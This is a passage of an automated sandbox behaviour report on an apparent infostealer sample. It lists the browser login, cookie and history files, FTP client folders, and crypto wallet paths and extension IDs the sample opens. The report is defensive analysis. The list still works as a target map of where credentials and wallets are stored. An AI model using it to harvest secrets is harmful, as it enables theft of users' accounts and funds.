Source: 11caca4b5d.exe, 0000000A.00000003.3989756396.000000000125C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: 11caca4b5d.exe, 0000000A.00000003.3989756396.000000000125C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystore
Source: 11caca4b5d.exe, 0000000C.00000003.4008212811.00000000014CC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Ledger Live

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\logins.json	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: 4feecdc349.exe	Binary or memory string: WIN_81
Source: 4feecdc349.exe	Binary or memory string: WIN_XP
